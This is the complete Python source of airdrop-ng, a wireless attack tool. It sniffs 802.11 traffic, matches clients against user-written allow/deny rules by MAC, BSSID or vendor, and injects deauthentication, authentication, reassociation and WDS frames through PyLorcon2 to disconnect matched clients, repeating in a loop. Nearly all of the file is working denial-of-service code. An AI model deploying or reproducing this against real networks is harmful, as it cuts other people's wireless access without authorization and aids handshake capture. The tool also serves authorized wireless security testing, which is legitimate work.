#!/usr/bin/env python
#part of project lemonwedge
__author__  = "TheX1le AKA Textile & Crypt0s"
__version__ = "BETA2"
__licence__ = "GPL2"
from optparse import OptionParser
from re import match, IGNORECASE
from re import compile as recompile
from random import randrange
from os import path, geteuid
from time import sleep, localtime
from airdrop import bcolors, install_dir
from binascii import a2b_hex
from sys import argv, stderr
from sys import exit as sexit
import types
import json
import wifiobjects

# Todo: only compare values of rule to values of tool wifiobjects that exist

try:
    import PyLorcon2
except ImportError, e:
    print "Did you read the readme?\nYou seem to be missing PyLorcon2"
    print e

try:
    import Tool80211
    import Gen80211
    import liboui2
except ImportError, e:
    print "Did you read the readme?\nYou seem to be missing the py80211 libs"
    print e

# debug
import pdb


class messages:
    """
    handle all printing 
    allows for central logging
    """
    def __init__(self, log, dir="/var/log/"):
        """
        int vars for printing class
        """
        date = localtime()
        self.date = "%s%s%s" %(date[0], date[1], date[2])
        self.time = "%s-%s-%s" %(date[3], date[4], date[5])
        self.logging = log #log error messages to a file
        #logfile
        name = "/airdrop-ng_%s-%s.log" %(self.date, self.time)
        self.logfile = dir + name
        # enable colors
        self.color = True
        # hold info before we write to file
        self.logBuff = []
        
        if self.logging is True:
            try:
                file = open(self.logfile, 'a')
                file.write(self.date + "-" + self.time + "\n")
                file.write("Airdrop-ng Logfile\n")
                file.close
            except IOError,e:
                self.logging = False
                self.printError(["Could not open file " + self.logfile +"\n\n",
                    str(e) + "\n"])

    def printMessage(self,message):
        """
        print standard info messages
        """
        TYPE = type(message).__name__
        if TYPE == 'list':
            for line in message:
                print line
        elif TYPE == 'str':
            print message
        self.log(message, TYPE)
        
    def printError(self, error):
        """
        write errors to stderr in red
        """
        TYPE = type(error).__name__
        if TYPE == 'list':
            for line in error:
                stderr.write(bcolors.FAIL + line + "\n"+bcolors.ENDC)
        elif TYPE == 'str':
            stderr.write(bcolors.FAIL + error + "\n" + bcolors.ENDC)
        self.log(error, TYPE)

    def log(self, data, TYPE):
        """
        write all messages to a file
        """
        if self.logging is False:
            return
        try:
            file = open(self.logfile, 'a')
        except IOError, e:
            self.logging = False
            self.printError(["Could not open file " + self.logfile + "\n",
                str(e) + "\n"])
            sexit(-1)
        if TYPE == 'list':
            for item in data:
                # str allows printing of data structures
                file.write(str(item) + "\n")
        elif TYPE == 'str':
            file.write(data)
        file.close()

class Rule:
    # The client or AP rule is the input to this class
    def __init__(self, rule):
        self.rule = rule
        self.any = False
        # turn off all broadcast packets unless its allowed
        self.bcastAllow = False
        self.anymatch = recompile('any', IGNORECASE)
        self.typematch = recompile('allow', IGNORECASE)
        
        self.kickmethod = rule['attack']
        del rule['attack']

        self.ruletype = rule['ruletype']

        # determine the rule allow/deny status.
        if self.typematch.match(rule['ruletype']):
            # ALLOW RULE DETECTED
            self.ruletype = True
        else:
            # DENY RULE
            self.ruletype = False
        del rule['ruletype']

        for key in rule.keys():
            try:
                # Note there could be a bug here if it doesn't get named the same in client obj.
                if key == "oui":
                    #Build a greedy, case-ignoring regex to match off of
                    self.companymatch = recompile(rule[key]+".*", IGNORECASE)
                if self.anymatch.match(rule[key]):
                    self.any = True
            except Exception, e:
                message.printError(["We handled an error related to lists in the rule --",
                    "it's OK.  We know about it.", str(e)])

    def match(self, obj):
        # There will need to be error handling here for if you try to compare a client to an AP rule or vice versa
        obj_attributes = obj.__dict__.copy()
        if obj.__class__.__name__ == "client":
            obj_attributes['mac'] = wifiobjects.pformatMac(obj_attributes['mac'],':')
            obj_attributes['bssid'] = wifiobjects.pformatMac(obj_attributes['bssid'],':')
            # TODO: BELOW This is a workaround -- we should have it fixed at some point
            del obj_attributes['apObject']
            # End workaround
        else:
            obj_attributes['bssid'] = wifiobjects.pformatMac(obj_attributes['bssid'],':')
        result = False
        for key in obj_attributes.keys():
            try:
                if key not in self.rule.keys() or key not in obj_attributes.keys():
                    continue
                # If it says any in the rule, realize that and drop it
                if self.any:
                    result = True
                    # allow broadcasts
                    self.bcastAllow = True
                    break
                # Company Name Match
                #todo == if there's a list, treat it properly regardless of if it's company
                #todo - if it's a range, build a range object
                elif key == "oui":
                    # If it's a list of companies
                    if isinstance(self.rule[key],types.ListType):
                        for item in rule['oui']:
                            # Do any items in the list match our object?
                            if self.companymatch.match(item):
                                result = True
                                break
                    elif self.companymatch.match(obj_attributes[key]):
                        result = True

                # Detect Lists
                elif isinstance(self.rule[key],types.ListType):
                    if obj_attributes[key] in self.rule[key]:
                        result = True
                # TODO rewview this
                # the following expects strings, convert to upper
                # when matching on mac, i also got matches on wired and probe fields
                # comment out the break at line 194 return to replicate
                elif str(obj_attributes[key]).upper() == str(self.rule[key]).upper():
                    result = True
                    if key == "bssid":
                        self.bcastAllow = True
                #else:
                #    result = False
                # Print the match to the user if there was a match on the rule
            except KeyError:
                message.printError("Rule Error -- That attribute doesn't exist in the client or AP object")
            if result is True:
                if self.any is True:
                    message.printMessage("Matched because of any in rule")
                    # return
                    break
                else:
                    message.printMessage("Matched on: %s" %(key))
                    # return
                    break
        return result


class getTargets:
    """
    Get Targets from Airview and parse rule files
    """
    def __init__(self, toolinstance, rulefile, debug):
        """
        Init with all vars for getTargets class
        """
        self.rulefile = rulefile
        self.Airv = toolinstance
        # start up the sniffer and airview 
        self.debug       = debug  # debug flag
        self.targets     = []   # var to store matched targets in

    def dataParse(self):
        """
        parse the user provided rules and 
        place its output into the rule matcher
        """
        # Parse the rules
        ap_rules = []
        client_rules = []
        apmatch = recompile('ap', IGNORECASE)
        clientmatch = recompile('client', IGNORECASE)
        with open(self.rulefile, 'r') as json_data:
            try:
                data = json.load(json_data)
            except Exception, e:
                message.printError([str(e), "The JSON configuration file failed to parse.  See the examples"])
                sexit(-1)
            # Determine if this is an ap or client rule, then place in the right list
            for key in data.keys():
                try:
                    rtype = data[key]['type'] # The Type refers to the rule being for clients or access points
                except KeyError, e:
                    message.printError("Looks like you forgot to add %s to your rules."  %(e))
                    sexit(-1)
                del data[key]['type']
                if apmatch.match(rtype):
                    ap_rules.append(Rule(data[key]))
                elif clientmatch.match(rtype):
                    client_rules.append(Rule(data[key]))
                else:
                    message.printError("Looks like you forgot to add type to your rules. I don't know if this is an AP or Client rule.")
                    sexit(-1)
        #self.rules = [ap_rules, client_rules]
        
        # extra copy here can probably remove
        # TODO: make Tool not have a dict setup so we can just pull straight.
        clientObjs = self.Airv.clientObjects.values()
        apObjs = self.Airv.apObjects.values()
        allows = []
        # match clients in air to kick rules
        self.targets = []
        print "clients: " + str(len(clientObjs))
        wiredCount = 0
        for client in clientObjs:
            # filter wired clients
            if client.wired is True:
                wiredCount += 1
                continue
            # next bit for testing    
            if client.bssid == "Not Assoicated":
                hbssid = client.bssid
            else:
                hbssid = client.bssid.encode('hex')
            print "%s , %s" %(client.mac.encode('hex'), hbssid)
            # testing done
            for clientRule in client_rules:
                # TODO clients never seem to match allow rules
                if clientRule.match(client):
                    # TODO commented out all broadcast packets
                    #client.apObject.bcast = clientRule.bcastAllow
                    if clientRule.ruletype == True:
                        # allow a client rule
                        allows.append(client)
                    else:
                        client.kickmethod = clientRule.kickmethod
                        self.targets.append(client)
                    print "---------------------------client---------------------"

        print "wired client count: %s" %(wiredCount)

        for ap in apObjs:
            for apRule in ap_rules:
                if apRule.match(ap):
                    if apRule.ruletype == True:
                        allows.append(ap)
                    else:
                        ap.kickmethod = apRule.kickmethod
                        self.targets.append(ap)

        # Filter out the allows from the target list before passing it off
        if len(allows) != 0:
            for allow in allows:
                if allow in self.targets:
                    # OMG why python, why do you make me so fucking lazy.
                    self.targets.remove(allow)
                    print "rem'd"
        return self.targets

    def run(self):
        """
        reparse all data every 4 seconds
        """
        self.targets = self.dataParse()


class Kicker:
    """
    class for building and sending the kick packets
    """
    def __init__(self, ctx, hopper):
        self.lorconCtx = ctx
        self.channelcontrol = hopper # tool80211 channel hop controll
        self.engine = Gen80211.packetGenerator()
                
    # We're going to need to adjust targets to be matched to attack
    def makeMagic(self, targets, pnap = 0):
        """
        function where the targes are looped though 
        and packets are sent to them
        """
        # Targets are the ap and client objects tagged up by the matches
        # speed improvments to be found here if we thread packet generator
        packetQue = []
        # hard coded number of how many copys of each packet is sent
        packetCount = 1 
        # as reminder 0 = all, 1 = deauth, 2 auth, 3 reauth, 4 wds
        for obj in targets:
            """Get the object type.  Will return "ap" or "client" depending on 
            the spelling of the name of the class in the tool lib"""
            obj.type = obj.__class__.__name__
            # OK we need to drop a client, here's the path for that.
            if obj.type == "client":
                ap = obj.apObject
                kickmethod = obj.kickmethod
                
                # set the vars that act as the parameters to the deauthengine
                # This is kinda a hack job.
                if ap == None:
                    message.printMessage("No ap found for target client %s yet....."
                        %(wifiobjects.pformatMac(obj.mac,':')))
                    continue

                channel = ap.channel

                if channel == None: 
                    message.printMessage("No channel found for target client %s yet....."
                        %(wifiobjects.pformatMac(obj.mac,':')))
                    continue

                client_mac = obj.mac
                bssid = ap.bssid
                bcast = ap.bcast
                # If it's not a list, make it one
                if isinstance(kickmethod,types.IntType):
                    kickmethod = [kickmethod]
                # Well, looks like we got us a cowboy
                if int(kickmethod) == 0:
                    kickmethod = ['1','2','3','4']
                # Kick according to attacks in list
                if '1' in kickmethod:
                    packetQue.extend(
                        self.engine.deauthPacketEngine(
                            bcast, client_mac, bssid, bssid, channel))
                if '2' in kickmethod:
                    packetQue.extend(
                        self.engine.authPacketEngine(
                            bcast, client_mac, bssid, bssid, channel))
                if '3' in kickmethod:
                    packetQue.extend(
                        self.engine.reassPacketEngine(
                            bcast, client_mac, bssid, bssid, channel))
                if '4' in kickmethod:
                    packetQue.extend(
                        self.engine.wdsPacketEngine(
                            bcast, bssid, client_mac, bssid, channel))
            elif obj.type == "accessPoint": # I Disagree with this camelcase
                print "access point dropping is unimplemented"
                pass # currently unimplemented.  Will hold autoimmune attacks

        numPackets = len(packetQue)
        message.printMessage(
            "\nAttempting to TX %i packets %i times each" %(numPackets, packetCount))
        while len(packetQue) != 0:
            self.lorconTX(
                packetCount, #number of packets to send
                packetQue[0][0], #packet in hex
                int(packetQue[0][1]) #channel to tx the packet on
                )
            sleep(pnap)
            del packetQue[0] #remove the sent packet from the que
        message.printMessage(
            "\nSent %i packets %i times each" %(numPackets, packetCount))
        # update total packet count
        return numPackets * packetCount
                
    def lorconTX(self, pktNum=5, packet=None, channel=1 ,pnap=0):
        """
        Uses lorcon2 to send the actual packets
        """
        # pause channel hopping while we inject
        try:
            self.channelcontrol.pause()
        except Exception, e:
            message.printError(["Channel Hopping failed to pause", str(e)])
        
        #why the hell does pktNum default = 5?
        #pktNum is number each packet is sent
        count = 0
        try:
            currentchannel = self.lorconCtx.get_channel()
        except PyLorcon2.Lorcon2Exception ,e:
            message.printError(["\n Error Message from lorcon:", str(e),
                "Unable to get channel the wireless card is on"])
        try:
            self.lorconCtx.set_channel(int(channel)) #set the channel to send packets on
        except PyLorcon2.Lorcon2Exception ,e:
            message.printError(["\nError Message from lorcon:", str(e),
                "Unable to set channel card does not seem to support it",
                "Skipping packet"])
            return False
        while count != pktNum:
            try:
                self.lorconCtx.send_bytes(packet)
            except PyLorcon2.Lorcon2Exception ,e:
                message.printMessage(['\nError Message from lorcon:', str(e),
                "Or try ifconfig up on the card you provided and its vap."])
                sexit(-1)
            count += 1
        else:
                self.channelcontrol.unpause()
                if pnap > 0:
                        sleep(pnap)
        self.channelcontrol.unpause()
        return

class AdMain:
    """
    Airdop-ng2 main class
    """
    def __init__(self, args):
        """
        Set up the program
        args = options var from optparse
        """
        # trigger program to exit
        # self.exit = False
        # total packets tx'd
        self.TotalPacket = 0
        # check if were root, exit if were not
        self.uidCheck()
        self.args = args
        self.airview = Tool80211.Airview(self.args.card)
        # start the sniffer
        self.airview.start()
        #send the sniffer and the rules and get matches
        
    def mloop(self):
        """
        main program loop
        """
        try:
            # Start the main loop
            if None in [self.args.card, self.args.rule]:
                message.printError(["-i or -r is missing\nExiting...\n\n"])
                self.exit(-1)
            napTime = float(self.args.nap)
            #send the sniffer and the rules and get matches
            Targeting = getTargets(self.airview, self.args.rule, self.args.debug)
            #set zero packet flag to false
            zp = False
            # set up kicker
            while self.airview.hopper is '': 
                # deal with race condidion, while we wait for hopper to start
                sleep(.2)
            daKicker = Kicker(self.airview.ctx, self.airview.hopper)
            while True:
                    if self.args.channel is not False:
                        # TODO, not ideal, there will be some card channel drift but not much
                        self.airview.hopper.pause()
                        setchan = self.airview.hopper.setchannel(int(self.args.channel))
                        if setchan == -1:
                            message.printError("setting channel %s failed" %(self.args.channel))
                            message.printMessage("starting channel hopping")
                            self.airview.hopper.unpause()
                        elif setchan == 0:
                            message.printMessage("set channel to %s" %(self.args.channel))
                    Targeting.run()
                    if Targeting.targets != None:
                        message.printMessage("num of matches: %s" %(len(Targeting.targets)))
                        rtnPktCount = daKicker.makeMagic(Targeting.targets, int(self.args.pnap))
                        if rtnPktCount == 0:
                            message.printMessage(
                                "Zero Packets were to be sent, Napping for 5 sec to await changes in sniffed data\n")
                            zp = True
                        self.TotalPacket += rtnPktCount
                        if zp is True:
                            time = 5
                            zp = False
                        else:
                            time = napTime
                        message.printMessage(
                            "Waiting %s sec in between loops\n" %(time))
                        sleep(time)

        except (KeyboardInterrupt, SystemExit):
            message.printMessage(["\nAirdrop-ng will now exit", \
                "Sent %i Packets" %(self.TotalPacket), \
                "\nExiting Program, Please take your card " \
                "%s out of monitor mode" %(self.args.card)])
            sexit(0)
        
    def uidCheck(self):
        """
        check to see if were root
        """
        # geteuid from os
        if geteuid() != 0:
            message.printError(["airdrop-ng must be run as root.\n",
            "Please 'su' or 'sudo -i' and run again.\n", "Exiting...\n\n"])
            self.exit(-1)
    
    def exit(self, num):
        """
        exit the program
        num = int to exit with
        """
        sexit(-1)

def box():
    """
    Prints the header to use airgraph-ng
    in a box with pretty blue terminal colors
    """
    print "\n" + bcolors.OKBLUE + "#"*49
    print ''.join(["#",
        " "*13,
        bcolors.ENDC,
        "Welcome to AirDrop-ng",
        bcolors.OKBLUE,
        " "*13,
        "#"])
    print "#"*49 + bcolors.ENDC + "\n"

if __name__ == "__main__":
    """
    Main function.
    Parses command line input for proper switches and arguments. Error checking is done in here.
    Variables are defined and all calls are made from MAIN.
    """
    
    parser = OptionParser("usage: %prog options [-i,-r] -s -p -b -n")  
    parser.add_option("-i", "--interface", dest="card", nargs=1,
         help="Wireless card in monitor mode to inject from")
    parser.add_option("-c", "--channel", dest="channel",
        nargs=1, help="Stop channel hopping and set a channel", default=False)
    parser.add_option("-r", "--rule", dest="rule",
        nargs=1, help="Rule File for matched deauths")
    parser.add_option("-s", "--sleep", dest="pnap", default=0,
        nargs=1, type="int", help="Time to sleep between sending each packet")
    parser.add_option("-b", "--debug", dest="debug", action="store_true",
        default=False, help="Turn on Rule Debugging")
    parser.add_option("-l", "--logging", dest="log",
        action="store_true", default=False,
        help="Enable Logging to a file, if none provided default is used")
    parser.add_option("-n", "--nap", dest="nap", default=0, 
        nargs=1, help="Time to sleep between loops")

    if len(argv) <= 3: #check and show help if no arugments are provided at runtime
                box()
                parser.print_help()
                print "\nERROR Not enough CLI arguments"
                print "\nSample command line arguments:"
                print "\nairdrop-ng -i wlan0 -r rulefile.txt\n"
                sexit(0)
    (options, args) = parser.parse_args()
    #start up printing
    if args == []:
        message = messages(options.log)
    else:
        message = messages(options.log, args[0])
    
    # start the main loop
    dropkick = AdMain(options)
    dropkick.mloop()
